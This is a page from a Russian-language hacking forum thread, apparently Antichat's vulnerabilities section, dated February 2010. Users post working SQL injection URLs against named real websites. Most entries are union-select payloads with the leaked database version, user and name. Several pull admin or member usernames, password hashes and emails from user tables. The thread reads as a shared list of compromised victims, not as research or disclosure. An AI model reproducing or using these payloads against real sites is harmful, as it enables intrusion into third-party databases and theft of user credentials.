ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11441  
Старый 02.02.2010, 18:44
Аватар для EndLeSSDre@M
EndLeSSDre@M
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме:
3055344

Репутация: 259
Отправить сообщение для EndLeSSDre@M с помощью ICQ
По умолчанию

Код:
http://www.lamongols.com/components/com_jcalpro/cal_popup.php?extmode=view&extid=9999'+union+select+1,2,concat(convert(name+using+latin1),0x3a,convert(password+using+latin1)),concat(user(),0x3a,version(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users+--+
version: 5.1.42
user: anugaasc_lamon@localhost
database: anugaasc_lamongols

При запросе вежливо выдает имя и пасс админа в md5 + salt
 
Ответить с цитированием

  #11442  
Старый 02.02.2010, 21:31
Аватар для $n@ke
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

eDU-DU
Цитата:
http://www.cs.umd.edu/local-cgi-bin/als/confupdate.pl?confid=-410+union+select+1,2,3,4,5,6,7,8,9/*
Version: 5.0.45
User: cgi_user@clavin.cs.umd.edu
 
Ответить с цитированием

  #11443  
Старый 02.02.2010, 22:48
Аватар для $Atlet$
$Atlet$
Участник форума
Регистрация: 25.10.2008
Сообщений: 215
Провел на форуме:
2483773

Репутация: 78
Отправить сообщение для $Atlet$ с помощью ICQ
По умолчанию

Код:
http://www.litencyc.com/php/speople.php?rec=true&UID=-2709+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+
Database name: db158348773-7
Database version: 5.0.45-7
Database user: dbo158348773@localhost-7
 
Ответить с цитированием

  #11444  
Старый 02.02.2010, 23:27
Аватар для Seravin
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Код:
http://www.chrisjordan.com/current_set2.php?id=11'+and+1=2+UNION+SELECT+1,2,3,4,5--+'
database:cjordanwebdata
version:4.1.22-max-log
user:cjordanwebdata@97.74.24.67
 
Ответить с цитированием

  #11445  
Старый 03.02.2010, 15:04
Аватар для SEWERN
SEWERN
Участник форума
Регистрация: 09.01.2009
Сообщений: 155
Провел на форуме:
2253612

Репутация: 94
По умолчанию

Код:
http://brunswickncyardsales.com/links.php?cat=-18/**/union/**/all/**/select/**/666,666,666,concat_ws(0x3a,member_name,member_password,email)kaMtiEz,@@version,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666/**/from/**/members--
Код:
http://www.dreamscity.net/dlil/links_showcat.php?id=3%20and%201=0%20UNION%20SELECT%201,concat(username,0x3a,password),3,4%20from%20admin

Последний раз редактировалось SEWERN; 03.02.2010 в 15:08..
 
Ответить с цитированием

  #11446  
Старый 03.02.2010, 21:49
Аватар для nemaniak
nemaniak
Участник форума
Регистрация: 10.06.2008
Сообщений: 201
Провел на форуме:
1174919

Репутация: 229
По умолчанию

jenniferlynn.com PR-2

Код:
http://www.jenniferlynn.com/gig-guide/gigs?event_id=-27+union+select+%201,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
Код:
5.0.51a-24+lenny2-log:jlynn@localhost:jlynn
highervibrationliving.com

Код:
http://highervibrationliving.com/wordpress/?page_id=19&event_id=-123+union+select+%201,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,2
8
Код:
5.0.67.d7-ourdelta-log:hig0933807564279@97.74.24.135:hig0933807564279
 
Ответить с цитированием

  #11447  
Старый 03.02.2010, 22:28
Аватар для Komyak
Komyak
Участник форума
Регистрация: 15.01.2009
Сообщений: 158
Провел на форуме:
469704

Репутация: 26
По умолчанию

Код:
http://talismanov.net/news_view.php?news_id=-9+union+select+1,concat_ws(0x3a,version(),user()),3,4,5,6,7+from+information_schema.tables--

http://dedmorozov.net/news_view.php?news_id=-9+union+select+1,concat_ws(0x3a,version(),user()),3,4,5,6,7+from+information_schema.tables--
Два с одной базы
Код:
5.0.45:u15364@localhost
 
Ответить с цитированием

  #11448  
Старый 03.02.2010, 23:16
Аватар для Seravin
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Я больше не буду баянить=)

Код:
http://www.isf-roma.org/page_index.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

database:isfdb
version:4.0.24_Debian-10-log
user:isfanonymous@localhost
Код:
http://www.gripperbybauer.com/viewItem.php?id=-1+UNION+SELECT+1,2,3,4--

database:grippers
version:5.0.37-log
user:grippers@localhost
Код:
http://www.kinkadegalleries.com/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5--

database:kinkad
version:4.0.27-log
user:kinkad@localhost
Код:
http://www.historicflyingclothing.com/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5--

database:hfcc
version:5.0.22-Debian_0ubuntu6.06.10-log
user:hfcc@ds6139.dedicated.turbodns.co.uk
Код:
http://www.rzmilitaria.com/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5--

database:rzmilitaria
version:5.0.22-Debian_0ubuntu6.06.10-log
user:rzmilitaria@ds6139.dedicated.turbodns.co.uk
Код:
http://www.regimentals.co.uk/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5,6--

database:regimentals
version:4.1.19
user:regimentals@81.21.79.188
Код:
http://www.theoldbrigade.co.uk/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5,6--

database:theoldbrigade
version:4.1.19
user:theoldbrigade@81.21.79.188
Код:
http://www.hiscoll.com/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5--

database:hiscoll
version:5.0.22-Debian_0ubuntu6.06.10-log
user:hiscoll@ds6139.dedicated.turbodns.co.uk
Код:
http://www.bluebellmilitaria.co.uk/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5--

database:bluebell
version:5.0.22-Debian_0ubuntu6.06.10-log
user:bluebell@ds6139.dedicated.turbodns.co.uk
Код:
http://www.pastgloriesmilitaria.com/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5--

database:pastglories
version:5.0.22-Debian_0ubuntu6.06.10-log
user:pastglories@ds6139.dedicated.turbodns.co.uk
Код:
http://www.kinkadegalleries.com/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5--

database:kinkad
version:4.0.27-log
user:kinkad@localhost
Код:
http://www.regimentals.co.uk/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5,6--

database:regimentals
version:4.1.19
user:regimentals@81.21.79.188
Код:
http://www.homefrontcollection.com/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5--

database:homefront
version:5.0.22-Debian_0ubuntu6.06.10-log
user:homefront@ds6139.dedicated.turbodns.co.uk
Код:
http://glamourofpearls.com/site/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9--

database:glamourofpearls_com
version:4.0.27
user:glamourofpearls@localhost
Код:
http://www.lastreich.co.uk/viewitem.php?id=-1+UNION+SELECT+1,2,3--

database:lastreich
version:5.0.22-Debian_0ubuntu6.06.10-log
user:lastreich@ds6139.dedicated.turbodns.co.uk
Код:
http://www.adfmilitaria.com/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5--

database:adfmilitaria
version:5.0.22-Debian_0ubuntu6.06.10-log
user:adfmilitaria@ds6139.dedicated.turbodns.co.uk
Код:
http://mycommissionbid.com/bid/viewitem.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11--

database:mybid
version:5.0.22-Debian_0ubuntu6.06.10-log
user:mybid@ds6139.dedicated.turbodns.co.uk
 
Ответить с цитированием

  #11449  
Старый 04.02.2010, 00:26
Аватар для RedX
RedX
Познающий
Регистрация: 12.06.2008
Сообщений: 32
Провел на форуме:
324402

Репутация: 22
Отправить сообщение для RedX с помощью ICQ
По умолчанию

Цитата:
http://www.heel.com.ua/index.php?view=news&id=-487+UNION+SELECT+1,2,CONCAT%28Version(),Database() ,User()),4,5,6,7,8+--+
Database Version: 5.0.51a-24+lenny2-log
Database name: heelezTH
User name: u_heelezTH@localhost
 
Ответить с цитированием

  #11450  
Старый 04.02.2010, 00:47
Аватар для $Atlet$
$Atlet$
Участник форума
Регистрация: 25.10.2008
Сообщений: 215
Провел на форуме:
2483773

Репутация: 78
Отправить сообщение для $Atlet$ с помощью ICQ
По умолчанию

Код:
http://www.memorial-komi.org/news.php?n=-1+union+select+1,2,3,4,5,version(),7,8,9,10,11+--+
Database name: 1gb_x_memor8cf
Database version: 5.0.51a-community-nt-log
Database user: 1gb_x_memor8cf@81.176.226.50
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ